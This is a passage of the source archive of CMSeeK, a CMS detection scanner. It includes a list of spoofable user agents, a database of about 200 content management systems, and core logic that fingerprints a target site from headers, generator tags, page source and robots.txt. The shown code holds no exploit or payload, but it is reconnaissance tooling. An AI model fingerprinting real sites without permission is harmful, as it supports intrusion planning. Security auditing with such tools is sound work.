(KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0","Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0","Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00","Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0)"] if rnd == None: b = input("Enter custom UserAgent or simply press enter to use a random one: ") if b == "": b = random.choice(a) else: pass else: b = random.choice(a) return b CMSeeK-v.1.1.3/cmseekdb/cmss.py000066400000000000000000000462731370665123600161500ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # This file contains the list of cmss supported by CMSeeK in the following structure # ExampleCMS = { #'name':'Example CMS', #'url':'https://examplecms.com', #'vd':'true', #'deeps':'false' #} # vd determines if CMSeek can detect the version of the CMS and deeps determines if there's a deepscan available for the cms wp = { 'name':'WordPress', 'url':'https://wordpress.org', 'vd':'1', 'deeps':'1' } mg = { 'name':'Magento', 'url':'https://magento.com', 'vd':'1', 'deeps':'0' } blg = { 'name':'Blogger By Google', 'url':'https://blogger.com', 'vd':'0', 'deeps':'0' } ghost = { 'name':'Ghost CMS', 'url':'https://ghost.org', 'vd':'0', 'deeps':'0' } lj = { 'name':'LiveJournal', 'url':'https://livejournal.com', 'vd':'0', 'deeps':'0' } tdc = { 'name':'3dCart', 'url':'https://3dcart.com', 'vd':'0', 'deeps':'0' } amcms = { 'name':'Ametys CMS', 'url':'https://ametys.org', 'vd':'0', 'deeps':'0' } apos = { 'name':'Apostrophe CMS', 'url':'https://apostrophecms.org', 'vd':'0', 'deeps':'0' } asciid = { 'name':'AsciiDoc', 'url':'https://methods.co.nz', 'vd':'0', 'deeps':'0' } dru = { 'name':'Drupal', 'url':'https://drupal.org', 'vd':'1', 'deeps':'0' } bolt = { 'name':'Bolt', 'url':'https://bolt.com', 'vd':'0', 'deeps':'0' } brcms = { 'name':'BrowserCMS', 'url':'https://browsercms.com', 'vd':'1', 'deeps':'0' } bubble = { 'name':'Bubble', 'url':'https://bubble.is', 'vd':'0', 'deeps':'0' } abc = { 'name':'Adobe Business Catalyst', 'url':'https://businesscatalyst.com', 'vd':'0', 'deeps':'0' } ckan = { 'name':'CKAN', 'url':'https://ckan.org', 'vd':'0', 'deeps':'0' } cmds = { 'name':'CMS Made Simple', 'url':'https://cmsmadesimple.org', 'vd':'0', 'deeps':'0' } csim = { 'name':'CMSimple', 'url':'https://cmssimple.org', 'vd':'1', 'deeps':'0' } xe = { 'name':'XpressEngine', 'url':'https://xpressengine.com', 'vd':'1', 'deeps':'0' } tp3 = { 'name':'TYPO3 CMS', 'url':'https://typo3.org', 'vd':'0', 'deeps':'0' } tpc = { 'name':'Textpattern CMS', 'url':'https://textpattern.com', 'vd':'0', 'deeps':'0' } joom = { 'name':'Joomla', 'url':'https://joomla.org', 'vd':'1', 'deeps':'1' } oc = { 'name':'OpenCart', 'url':'https://www.opencart.com', 'vd':'0', 'deeps':'0' } xoops = { 'name':'XOOPS', 'url':'http://xoops.org', 'vd':'0', 'deeps':'0' } ushahidi = { 'name':'Ushahidi', 'url':'http://www.ushahidi.com', 'vd':'0', 'deeps':'0' } umi = { 'name':'UMI.CMS', 'url':'https://www.umi-cms.ru', 'vd':'1', 'deeps':'0' } tiki = { 'name':'Tiki Wiki CMS Groupware', 'url':'http://tiki.org', 'vd':'0', 'deeps':'0' } wolf = { 'name':'Wolf CMS', 'url':'http://www.wolfcms.org', 'vd':'0', 'deeps':'0' } wix = { 'name':'WIX Website Builder', 'url':'http://wix.com', 'vd':'0', 'deeps':'0' } wb = { 'name':'WebsiteBaker CMS', 'url':'https://websitebaker.org/', 'vd':'0', 'deeps':'0' } wgui = { 'name':'WebGUI', 'url':'http://www.webgui.org', 'vd':'1', 'deeps':'0' } tidw = { 'name':'TiddlyWiki', 'url':'https://tiddlywiki.com/', 'vd':'1', 'deeps':'0' } sulu = { 'name':'SULU', 'url':'https://sulu.io/', 'vd':'1', 'deeps':'0' } subcms = { 'name':'Subrion CMS', 'url':'https://subrion.org/', 'vd':'1', 'deeps':'0' } sqm = { 'name':'Squiz Matrix', 'url':'https://www.squiz.net/technology/cms', 'vd':'0', 'deeps':'0' } spin = { 'name':'Spin CMS', 'url':'https://www.spin.cw/', 'vd':'0', 'deeps':'0' } sdev = { 'name':'solodev', 'url':'https://www.solodev.com/', 'vd':'0', 'deeps':'0' } snews = { 'name':'sNews', 'url':'https://snewscms.com/', 'vd':'1', 'deeps':'0' } score = { 'name':'Sitecore', 'url':'https://www.sitecore.com/', 'vd':'0', 'deeps':'0' } sim = { 'name':'SIMsite', 'url':'https://simgroep.nl/', 'vd':'0', 'deeps':'0' } spb = { 'name':'Simplébo', 'url':'https://www.simplebo.fr', 'vd':'0', 'deeps':'0' } sst = { 'name':'SilverStripe', 'url':'https://www.silverstripe.org/', 'vd':'0', 'deeps':'0' } silva = { 'name':'Silva CMS', 'url':'http://infrae.com/products/silva', 'vd':'0', 'deeps':'0' } spity = { 'name':'Serendipity', 'url':'https://docs.s9y.org/', 'vd':'1', 'deeps':'0' } slcms = { 'name':'SeamlessCMS', 'url':'https://www.seamlesscms.com/', 'vd':'1', 'deeps':'0' } rock = { 'name':'Rock RMS', 'url':'https://www.rockrms.com/', 'vd':'1', 'deeps':'0' } roadz = { 'name':'Roadiz CMS', 'url':'https://www.roadiz.io/', 'vd':'1', 'deeps':'0' } rite = { 'name':'RiteCMS', 'url':'http://ritecms.com/', 'vd':'1', 'deeps':'0' } rcms = { 'name':'RCMS', 'url':'https://www.reallycms.fi/', 'vd':'0', 'deeps':'0' } quick = { 'name':'Quick.Cms', 'url':'https://opensolution.org/cms-system-quick-cms.html', 'vd':'1', 'deeps':'0' } pcore = { 'name':'Pimcore', 'url':'https://pimcore.com/', 'vd':'0', 'deeps':'0' } pwind = { 'name':'phpWind', 'url':'https://www.phpwind.com/', 'vd':'1', 'deeps':'0' } phpc = { 'name':'phpCMS', 'url':'http://www.phpcms.cn/', 'vd':'0', 'deeps':'0' } percms = { 'name':'Percussion CMS', 'url':'https://www.percussion.com/', 'vd':'0', 'deeps':'0' } pblue = { 'name':'PencilBlue', 'url':'http://pencilblue.org', 'vd':'0', 'deeps':'0' } ophal = { 'name':'Ophal', 'url':'http://ophal.org', 'vd':'1', 'deeps':'0' } sfy = { 'name':'Sitefinity', 'url':'https://www.sitefinity.com/', 'vd':'1', 'deeps':'0' } otwsm = { 'name':'OpenText WSM', 'url':'http://www.opentext.com/', 'vd':'1', 'deeps':'0' } ocms = { 'name':'OpenCms', 'url':'http://www.opencms.org/', 'vd':'1', 'deeps':'0' } odoo = { 'name':'Odoo', 'url':'https://www.odoo.com/', 'vd':'0', 'deeps':'0' } share = { 'name':'Microsoft Sharepoint', 'url':'https://sharepoint.com', 'vd':'1', 'deeps':'0' } octcms = { 'name':'October CMS', 'url':'https://octobercms.com/', 'vd':'0', 'deeps':'0' } mura = { 'name':'Mura CMS', 'url':'http://www.getmura.com/', 'vd':'1', 'deeps':'0' } moto = { 'name':'Moto CMS', 'url':'https://www.motocms.com/', 'vd':'0', 'deeps':'0' } mnet = { 'name':'Mono.net', 'url':'https://mono.net', 'vd':'0', 'deeps':'0' } modx = { 'name':'MODX', 'url':'https://modx.com/', 'vd':'0', 'deeps':'0' } methd = { 'name':'Methode', 'url':'https://www.eidosmedia.com', 'vd':'0', 'deeps':'0' } mambo = { 'name':'Mambo', 'url':'http://mambo-foundation.org', 'vd':'0', 'deeps':'0' } lscms = { 'name':'LiveStreet CMS', 'url':'http://livestreetcms.com/', 'vd':'0', 'deeps':'0' } lepton = { 'name':'LEPTON CMS', 'url':'https://lepton-cms.org/', 'vd':'0', 'deeps':'0' } kbcms = { 'name':'Kooboo CMS', 'url':'https://www.kooboo.com/', 'vd':'1', 'deeps':'0' } koken = { 'name':'Koken', 'url':'http://koken.me', 'vd':'1', 'deeps':'0' } jimdo = { 'name':'Jimdo', 'url':'https://www.jimdo.com/', 'vd':'0', 'deeps':'0' } ibit = { 'name':'Indexhibit', 'url':'http://www.indexhibit.org/', 'vd':'0', 'deeps':'0' } wflow = { 'name':'Webflow CMS', 'url':'https://webflow.com/', 'vd':'0', 'deeps':'0' } jcms = { 'name':'Jalios JCMS', 'url':'http://www.jalios.com/', 'vd':'0', 'deeps':'0' } impage = { 'name':'ImpressPages CMS', 'url':'https://www.impresspages.org/', 'vd':'1', 'deeps':'0' } hotaru = { 'name':'Hotaru CMS', 'url':'http://hotarucms.org/', 'vd':'0', 'deeps':'0' } hippo = { 'name':'HIPPO CMS', 'url':'https://www.onehippo.org/', 'vd':'0', 'deeps':'0' } grav = { 'name':'GravCMS', 'url':'https://getgrav.org/', 'vd':'0', 'deeps':'0' } gsimp = { 'name':'GetSimple CMS', 'url':'http://get-simple.info/', 'vd':'0', 'deeps':'0' } fork = { 'name':'Fork CMS', 'url':'https://www.fork-cms.com/', 'vd':'0', 'deeps':'0' } phpn = { 'name':'PHP Nuke', 'url':'https://www.phpnuke.org/', 'vd':'0', 'deeps':'0' } flex = { 'name':'FlexCMP', 'url':'https://www.flexcmp.com', 'vd':'1', 'deeps':'0' } ezpu = { 'name':'eZ Publish', 'url':'https://ez.no/', 'vd':'0', 'deeps':'0' } exen = { 'name':'ExpressionEngine', 'url':'https://expressionengine.com/', 'vd':'0', 'deeps':'0' } epis = { 'name':'EPiServer', 'url':'https://www.episerver.com/', 'vd':'0', 'deeps':'0' } e107 = { 'name':'e107', 'url':'https://e107.org/', 'vd':'0', 'deeps':'0' } dnn = { 'name':'DNN Platform', 'url':'http://www.dnnsoftware.com', 'vd':'0', 'deeps':'0' } phpbb = { 'name':'phpBB', 'url':'http://phpbb.com', 'vd':'0', 'deeps':'0' } dede = { 'name':'DEDE CMS', 'url':'http://dedecms.com/', 'vd':'0', 'deeps':'0' } dncms = { 'name':'Danneo CMS', 'url':'http://danneo.ru/', 'vd':'1', 'deeps':'0' } craft = { 'name':'Craft CMS', 'url':'https://craftcms.com/', 'vd':'0', 'deeps':'0' } dragon = { 'name':'CPG Dragonfly', 'url':'https://dragonflycms.org/', 'vd':'0', 'deeps':'0' } coton = { 'name':'Cotonti', 'url':'https://www.cotonti.com/', 'vd':'0', 'deeps':'0' } orchd = { 'name':'Orchard CMS', 'url':'https://orchardproject.net/', 'vd':'0', 'deeps':'0' } cbox = { 'name':'ContentBox', 'url':'https://www.contentboxcms.org/', 'vd':'0', 'deeps':'0' } conful = { 'name':'Contentful', 'url':'https://www.contentful.com/', 'vd':'0', 'deeps':'0' } cntsis = { 'name':'Contensis CMS', 'url':'https://zengenti.com/', 'vd':'1', 'deeps':'0' } cnido = { 'name':'CMS CONTENIDO', 'url':'https://www.contenido.org/', 'vd':'1', 'deeps':'0' } contao = { 'name':'Contao CMS', 'url':'https://contao.org/en/', 'vd':'0', 'deeps':'0' } con5 = { 'name':'Concrete5 CMS', 'url':'https://www.concrete5.org/', 'vd':'1', 'deeps':'0' } arc = { 'name':'Arc Forum', 'url':'http://arclanguage.org/', 'vd':'0', 'deeps':'0' } bboard = { 'name':'Burning Board', 'url':'https://www.woltlab.com/', 'vd':'1', 'deeps':'0' } dscrs = { 'name':'Discourse', 'url':'https://www.discourse.org/', 'vd':'1', 'deeps':'0' } discuz = { 'name':'Discuz!', 'url':'http://www.discuz.net/', 'vd':'1', 'deeps':'0' } flarum = { 'name':'Flarum', 'url':'https://flarum.org/', 'vd':'0', 'deeps':'0' } fluxbb = { 'name':'FluxBB', 'url':'https://fluxbb.org/', 'vd':'0', 'deeps':'0' } ipb = { 'name':'IP.Board community forum', 'url':'https://www.invisioncommunity.com/', 'vd':'0', 'deeps':'0' } minibb = { 'name':'miniBB', 'url':'http://www.minibb.com/', 'vd':'1', 'deeps':'0' } mybb = { 'name':'MyBB', 'url':'https://mybb.com/', 'vd':'1', 'deeps':'0' } nodebb = { 'name':'NodeBB', 'url':'https://nodebb.org/', 'vd':'1', 'deeps':'0' } punbb = { 'name':'PunBB', 'url':'http://punbb.informer.com/', 'vd':'1', 'deeps':'0' } smf = { 'name':'Simple Machines Forum', 'url':'http://simplemachines.org/', 'vd':'1', 'deeps':'0' } vanilla = { 'name':'Vanilla Forums', 'url':'https://vanillaforums.com', 'vd':'1', 'deeps':'0' } uknva = { 'name':'uKnowva', 'url':'https://uknowva.com/', 'vd':'1', 'deeps':'0' } xf = { 'name':'XenForo', 'url':'https://xenforo.com/', 'vd':'0', 'deeps':'0' } xmb = { 'name':'XMB', 'url':'https://www.xmbforum.com/', 'vd':'1', 'deeps':'0' } yabb = { 'name':'YaBB (Yet another Bulletin Board)', 'url':'http://www.yabbforum.com/', 'vd':'1', 'deeps':'0' } aef = { 'name':'Advanced Electron Forum', 'url':'http://www.anelectron.com/', 'vd':'1', 'deeps':'0' } bhf = { 'name':'Beehive Forum', 'url':'https://www.beehiveforum.co.uk/', 'vd':'1', 'deeps':'0' } fudf = { 'name':'FUDforum', 'url':'http://fudforum.org/forum/', 'vd':'1', 'deeps':'0' } phorum = { 'name':'Phorum', 'url':'https://www.phorum.org/', 'vd':'0', 'deeps':'0' } yaf = { 'name':'Yet Another Forum (YAF)', 'url':'http://www.yetanotherforum.net', 'vd':'1', 'deeps':'0' } yazd = { 'name':'Yazd', 'url':'http://www.forumsoftware.ca/', 'vd':'0', 'deeps':'0' } ubbt = { 'name':'UBB.threads', 'url':'http://www.ubbcentral.com/', 'vd':'1', 'deeps':'0' } nnf = { 'name':'NoNonsense Forum', 'url':'http://camendesign.com/nononsense_forum', 'vd':'0', 'deeps':'0' } myupb = { 'name':'myUPB', 'url':'http://www.myupb.com', 'vd':'1', 'deeps':'0' } mvnf = { 'name':'mvnForum', 'url':'https://sourceforge.net/projects/mvnforum/', 'vd':'1', 'deeps':'0' } mwf = { 'name':'mwForum', 'url':'https://www.mwforum.org/', 'vd':'0', 'deeps':'0' } mcb = { 'name':'MercuryBoard', 'url':'http://www.mercuryboard.com/', 'vd':'1', 'deeps':'0' } aspf = { 'name':'AspNetForum', 'url':'https://www.jitbit.com/asp-net-forum/', 'vd':'1', 'deeps':'0' } jf = { 'name':'JForum', 'url':'http://www.jforum.net/', 'vd':'1', 'deeps':'0' } afsto = { 'name':'Afosto', 'url':'https://afosto.com/', 'vd':'0', 'deeps':'0' } abuy = { 'name':'Afterbuy', 'url':'https://www.afterbuy.de', 'vd':'0', 'deeps':'0' } arstta = { 'name':'Arastta', 'url':'https://arastta.org/', 'vd':'0', 'deeps':'0' } bigc = { 'name':'BigCommerce', 'url':'https://www.bigcommerce.com/', 'vd':'0', 'deeps':'0' } bigw = { 'name':'Bigware', 'url':'https://bigware.de', 'vd':'0', 'deeps':'0' } bizw = { 'name':'Bizweb', 'url':'https://www.sapo.vn', 'vd':'0', 'deeps':'0' } cexec = { 'name':'Clientexec', 'url':'https://www.clientexec.com/', 'vd':'0', 'deeps':'0' } cloudc = { 'name':'CloudCart', 'url':'https://cloudcart.com/', 'vd':'0', 'deeps':'0' } cmshop = { 'name':'ColorMeShop', 'url':'https://shop-pro.jp/', 'vd':'0', 'deeps':'0' } oracle_atg = { 'name': 'Oracle ATG Web Commerce', 'url': 'http://www.oracle.com/us/products/applications/atg/web-commerce/web-commerce-search-330138.html', 'vd': '1', 'deeps': '0' } mdle = { 'name':'Moodle', 'url':'https://moodle.com/', 'vd':'0', 'deeps':'0' } orkis = { 'name':'ORKIS Ajaris Websuite', 'url':'http://www.orkis.com/', 'vd':'0', 'deeps':'0' } cmdia = { 'name':'Comandia', 'url':'https://www.comandia.com/', 'vd':'0', 'deeps':'0' } coms = { 'name':'Commerce Server', 'url':'http://commerceserver.net', 'vd':'1', 'deeps':'0' } cosmos = { 'name':'Cosmoshop', 'url':'https://www.cosmoshop.de/', 'vd':'0', 'deeps':'0' } csc = { 'name':'CS Cart', 'url':'https://www.cs-cart.com/', 'vd':'0', 'deeps':'0' } cubec = { 'name':'CubeCart', 'url':'https://www.cubecart.com/', 'vd':'0', 'deeps':'0' } abda = { 'name':'Al Mubda', 'url':'http://www.almubda.net/', 'vd':'1', 'deeps':'0' } dweb = { 'name':'Dynamicweb', 'url':'https://www.dynamicweb.dk/', 'vd':'1', 'deeps':'0' } ecc = { 'name':'EC-CUBE', 'url':'https://www.ec-cube.net/', 'vd':'0', 'deeps':'0' } elcd = { 'name':'Elcodi', 'url':'http://elcodi.io/', 'vd':'0', 'deeps':'0' } epgs = { 'name':'ePages', 'url':'https://epages.com', 'vd':'0', 'deeps':'0' } ezpub = { 'name':'eZ Publish', 'url':'https://ez.no/', 'vd':'0', 'deeps':'0' } for3 = { 'name':'Fortune3', 'url':'https://www.fortune3.com/', 'vd':'0', 'deeps':'0' } presta = { 'name':'PrestaShop', 'url':'https://www.prestashop.com/', 'vd':'0', 'deeps':'0' } btree = { 'name':'BigTree CMS', 'url':'https://www.bigtreecms.org/', 'vd':'0', 'deeps':'0' } pmoc = { 'name':'Proximis Omnichannel', 'url':'https://www.proximis.com', 'vd':'0', 'deeps':'0' } qcart = { 'name':'Quick.Cart', 'url':'https://opensolution.org/shopping-cart-quick-cart.html', 'vd':'1', 'deeps':'0' } rbsc = { 'name':'RBS Change', 'url':'https://www.rbschange.fr/', 'vd':'1', 'deeps':'0' } sfcc = { 'name':'Salesforce Commerce Cloud', 'url':'https://demandware.com/', 'vd':'0', 'deeps':'0' } sazito = { 'name':'Sazito', 'url':'https://sazito.com/', 'vd':'0', 'deeps':'0' } shopatron = { 'name':'Shopatron', 'url':'https://www.shopatron.com', 'vd':'0', 'deeps':'0' } umbraco = { 'name':'Umbraco', 'url':'https://umbraco.com', 'vd':'1', 'deeps':'1' } shoper = { 'name':'Shoper', 'url':'https://www.shoper.pl', 'vd':'0', 'deeps':'0' } shopery = { 'name':'Shopery', 'url':'https://shopery.com/', 'vd':'0', 'deeps':'0' } shopfa = { 'name':'ShopFA', 'url':'https://shopfa.com/', 'vd':'1', 'deeps':'0' } shopify = { 'name':'Shopify', 'url':'https://www.shopify.com/', 'vd':'0', 'deeps':'0' } shoptet = { 'name':'Shoptet', 'url':'https://www.shoptet.cz/', 'vd':'0', 'deeps':'0' } smartstore = { 'name':'Smartstore', 'url':'https://www.smartstore.com', 'vd':'0', 'deeps':'0' } solusquare = { 'name':'Solusquare Commerce Cloud', 'url':'https://www.solusquare.com/', 'vd':'0', 'deeps':'0' } spree = { 'name':'Spree', 'url':'https://spreecommerce.org/', 'vd':'0', 'deeps':'0' } bitrix = { 'name':'Bitrix', 'url':'https://www.1c-bitrix.ru', 'vd':'0', 'deeps':'0' } brightspot = { 'name':'Brightspot CMS', 'url':'https://www.brightspot.com/', 'vd':'0', 'deeps':'0' } amiro = { 'name':'Amiro.CMS', 'url':'https://www.amiro.ru', 'vd':'1', 'deeps':'0' } weebly = { 'name':'Weebly', 'url':'https://www.weebly.com/', 'vd':'0', 'deeps':'0' } ekmps = { 'name':'ekmPowershop', 'url':'https://www.ekm.com/', 'vd':'0', 'deeps':'0' } godaddywb = { 'name':'GoDaddy Website Builder', 'url':'https://godaddy.com/websites/website-builder', 'vd':'1', 'deeps':'0' } whmcs = { 'name':'WHMCS', 'url':'https://www.whmcs.com/', 'vd':'0', 'deeps':'0' } opennemas = { 'name':'OpenNemas CMS', 'url':'https://www.opennemas.com/', 'vd':'0', 'deeps':'0' } zencart = { 'name':'Zen Cart CMS', 'url':'https://www.zen-cart.com/', 'vd':'0', 'deeps':'0' } ipo = { 'name':'IPO CMS', 'url':'https://www.antee.cz/', 'vd':'0', 'deeps':'0' }CMSeeK-v.1.1.3/cmseekdb/config.py000066400000000000000000000016411370665123600164360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Verbose verbose = False # GitHub repo link GIT_URL = 'https://github.com/Tuhinshubhra/CMSeeK' # Version thingy try: rv = open('current_version', 'r') cver = rv.read().replace('\n','') cmseek_version = cver except: cmseek_version = '1.1.3' # Failsafe measure i guess # well the log containing variable, no need to edit anything here log = '{"url":"","last_scanned":"","detection_param":"","cms_id":"","cms_name":"","cms_url":""}' log_dir = "" # access_directory contains the path to the directory where reports directory and reports.json files are saved # leave it empty to use default dir (cmseek directory if writeaccess else the current directory the user is in) # if you want to use a custom path.. enter the full path below access_directory = ""CMSeeK-v.1.1.3/cmseekdb/core.py000066400000000000000000000212221370665123600161160ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ## Core Rev 4, stable, strong and accurate import sys import os import http.client import urllib.request import json import importlib from datetime import datetime import time import VersionDetect.detect as version_detect # Version detection import deepscans.core as advanced # Deep scan and Version Detection functions import cmseekdb.basic as cmseek # All the basic functions import cmseekdb.sc as source # Contains function to detect cms from source code import cmseekdb.header as header # Contains function to detect CMS from gathered http headers import cmseekdb.cmss as cmsdb # Contains basic info about the CMSs import cmseekdb.robots as robots import cmseekdb.generator as generator import cmseekdb.result as result def main_proc(site,cua): # Check for skip_scanned if cmseek.skip_scanned: for csite in cmseek.report_index['results'][0]: if site == csite and cmseek.report_index['results'][0][site]['cms_id'] != '': cmseek.warning('Skipping {0} as it was previously scanned!'.format(cmseek.red + site + cmseek.cln)) return cmseek.clearscreen() cmseek.banner("CMS Detection And Deep Scan") cmseek.info("Scanning Site: " + site) cmseek.statement("User Agent: " + cua) cmseek.statement("Collecting Headers and Page Source for Analysis") init_source = cmseek.getsource(site, cua) if init_source[0] != '1': cmseek.error("Aborting CMSeek! Couldn't connect to site \n Error: %s" % init_source[1]) return else: scode = init_source[1] headers = init_source[2] if site != init_source[3] and site + '/' != init_source[3]: if cmseek.redirect_conf == '0': cmseek.info('Target redirected to: ' + cmseek.bold + cmseek.fgreen + init_source[3] + cmseek.cln) if not cmseek.batch_mode: follow_redir = input('[#] Set ' + cmseek.bold + cmseek.fgreen + init_source[3] + cmseek.cln + ' as target? (y/n): ') else: follow_redir = 'y' if follow_redir.lower() == 'y': site = init_source[3] cmseek.statement("Reinitiating Headers and Page Source for Analysis") tmp_req = cmseek.getsource(site, cua) scode = tmp_req[1] headers = tmp_req[2] elif cmseek.redirect_conf == '1': site = init_source[3] cmseek.info("Followed redirect, New target: " + cmseek.bold + cmseek.fgreen + init_source[3] + cmseek.cln) cmseek.statement("Reinitiating Headers and Page Source for Analysis") tmp_req = cmseek.getsource(site, cua) scode = tmp_req[1] headers = tmp_req[2] else: cmseek.statement("Skipping redirect to " + cmseek.bold + cmseek.red + init_source[3] + cmseek.cln) if scode == '': # silly little check thought it'd come handy cmseek.error('Aborting detection, source code empty') return cmseek.statement("Detection Started") ## init variables cms = '' # the cms id if detected cms_detected = '0' # self explanotory detection_method = '' # ^ ga = '0' # is generator available ga_content = '' # Generator content ## Parse generator meta tag parse_generator = generator.parse(scode) ga = parse_generator[0] ga_content = parse_generator[1] cmseek.statement("Using headers to detect CMS (Stage 1 of 4)") header_detection = header.check(headers) if header_detection[0] == '1': detection_method = 'header' cms = header_detection[1] cms_detected = '1' if cms_detected == '0': if ga == '1': # cms detection via generator cmseek.statement("Using Generator meta tag to detect CMS (Stage 2 of 4)") gen_detection = generator.scan(ga_content) if gen_detection[0] == '1': detection_method = 'generator' cms = gen_detection[1] cms_detected = '1' else: cmseek.statement('Skipping stage 2 of 4: No Generator meta tag found') if cms_detected == '0': # Check cms using source code cmseek.statement("Using source code to detect CMS (Stage 3 of 4)") source_check = source.check(scode, site) if source_check[0] == '1': detection_method = 'source' cms = source_check[1] cms_detected = '1' if cms_detected == '0': # Check cms using robots.txt cmseek.statement("Using robots.txt to detect CMS (Stage 4 of 4)") robots_check = robots.check(site, cua) if robots_check[0] == '1': detection_method = 'robots' cms = robots_check[1] cms_detected = '1' if cms_detected == '1': cmseek.success('CMS Detected, CMS ID: ' + cmseek.bold + cmseek.fgreen + cms + cmseek.cln + ', Detection method: ' + cmseek.bold + cmseek.lblue + detection_method + cmseek.cln) cmseek.update_log('detection_param', detection_method) cmseek.update_log('cms_id', cms) # update log cmseek.statement('Getting CMS info from database') # freaking typo cms_info = getattr(cmsdb, cms) if cms_info['deeps'] == '1' and not cmseek.light_scan and not cmseek.only_cms: # cmseek.success('Starting ' + cmseek.bold + cms_info['name'] + ' deep scan' + cmseek.cln) advanced.start(cms, site, cua, ga, scode, ga_content, detection_method, headers) return elif cms_info['vd'] == '1' and not cmseek.only_cms: cmseek.success('Starting version detection') cms_version = '0' # Failsafe measure cms_version = version_detect.start(cms, site, cua, ga, scode, ga_content, headers) cmseek.clearscreen() cmseek.banner("CMS Scan Results") result.target(site) result.cms(cms_info['name'],cms_version,cms_info['url']) cmseek.update_log('cms_name', cms_info['name']) # update log if cms_version != '0' and cms_version != None: cmseek.update_log('cms_version', cms_version) # update log cmseek.update_log('cms_url', cms_info['url']) # update log comptime = round(time.time() - cmseek.cstart, 2) log_file = os.path.join(cmseek.log_dir, 'cms.json') result.end(str(cmseek.total_requests), str(comptime), log_file) ''' cmseek.result('Target: ', site) cmseek.result("Detected CMS: ", cms_info['name']) cmseek.update_log('cms_name', cms_info['name']) # update log if cms_version != '0' and cms_version != None: cmseek.result("CMS Version: ", cms_version) cmseek.update_log('cms_version', cms_version) # update log cmseek.result("CMS URL: ", cms_info['url']) cmseek.update_log('cms_url', cms_info['url']) # update log ''' return else: # nor version detect neither DeepScan available cmseek.clearscreen() cmseek.banner("CMS Scan Results") result.target(site) result.cms(cms_info['name'],'0',cms_info['url']) cmseek.update_log('cms_name', cms_info['name']) # update log cmseek.update_log('cms_url', cms_info['url']) # update log comptime = round(time.time() - cmseek.cstart, 2) log_file = os.path.join(cmseek.log_dir, 'cms.json') result.end(str(cmseek.total_requests), str(comptime), log_file) ''' cmseek.result('Target: ', site) cmseek.result("Detected CMS: ", cms_info['name']) cmseek.update_log('cms_name', cms_info['name']) # update log cmseek.result("CMS URL: ", cms_info['url']) cmseek.update_log('cms_url', cms_info['url']) # update log ''' return else: print('\n') cmseek.error('CMS Detection failed, if you know the cms please help me improve CMSeeK by reporting the cms along with the target by creating an issue') print(''' {2}Create issue:{3} https://github.com/Tuhinshubhra/CMSeeK/issues/new {4}Title:{5} [SUGGESTION] CMS detction failed! {6}Content:{7} - CMSeeK Version: {0} - Target: {1} - Probable CMS: N.B: Create issue only if you are sure, please avoid spamming! '''.format(cmseek.cmseek_version, site, cmseek.bold, cmseek.cln, cmseek.bold, cmseek.cln, cmseek.bold, cmseek.cln)) return return CMSeeK-v.1.1.3/cmseekdb/createindex.py000066400000000000000000000044441370665123600174700ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import os import json import datetime import cmseekdb.basic as cmseek import logging, traceback def init(cmseek_dir, report_dir=""): ''' Creates/Updates result index Needed Parameters: cmseek_dir = CMSeeK directory / access_directory report_dir = path to report directory leave empty if default ''' # Create a json list of all the sites scanned and save it to /reports.json cmseek.info('Updating CMSeeK result index...') if os.path.isdir(cmseek_dir): index_file = os.path.join(cmseek_dir, 'reports.json') if report_dir == "": report_dir = os.path.join(cmseek_dir, 'Result') if os.path.isdir(report_dir): result_index = {} result_dirs = os.listdir(report_dir) for result_dir in result_dirs: scan_file = os.path.join(report_dir, result_dir, 'cms.json') if os.path.isfile(scan_file): try: with open(scan_file, 'r', encoding='utf8') as sf: scan_content = json.loads(sf.read()) scan_url = scan_content['url'] result_index[scan_url] = {"cms_id": scan_content['cms_id'],"date": scan_content['last_scanned'],"report":scan_file} except Exception as e: logging.error(traceback.format_exc()) cmseek.statement('Skipping invalid CMSeeK result: ' + scan_file) # Write index result_index = {"last_updated":str(datetime.datetime.now()), "results":[result_index]} inf = open(index_file, 'w+') inf.write(json.dumps(result_index, sort_keys=False, indent=4)) inf.close() cmseek.success('Report index updated successfully!') cmseek.report_index = result_index return ['1', 'Report index updated successfully!'] else: cmseek.error('Result directory does not exist!') return [0, 'Result directory does not exist'] else: cmseek.error('Invalid CMSeeK directory passed!') return [0, 'CMSeeK directory does not exist'] CMSeeK-v.1.1.3/cmseekdb/generator.py000066400000000000000000000117171370665123600171640ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Precise and Hawt from html.parser import HTMLParser import cmseekdb.basic as cmseek ga = '0' ga_content = '' class MyHTMLParser(HTMLParser): def handle_starttag(self, tag, attrs): if 'meta' in tag.lower(): for nm,vl in attrs: if nm == "name" and vl.lower() == 'generator': for a,b in attrs: if a == 'content': global ga, ga_content ga = '1' ga_content += ' ' + b def parse(source): # clean up ga, ga_content (fix some weird multiple sites scan issue) global ga, ga_content ga = '0' ga_content = '' parser = MyHTMLParser() parser.feed(source) return [ga, ga_content] def scan(content): hstring = content.lower() if content == '': return ['0', ''] generator_tag_detection_keys = ['wordpress:-wp', 'blogger:-blg', 'ghost:-ghost', 'asciidoc:-asciid', 'drupal:-dru', 'bolt:-bolt', 'browsercms:-brcms', 'ckan:-ckan', 'cms made simple:-cmds', 'cmsimple:-csim', 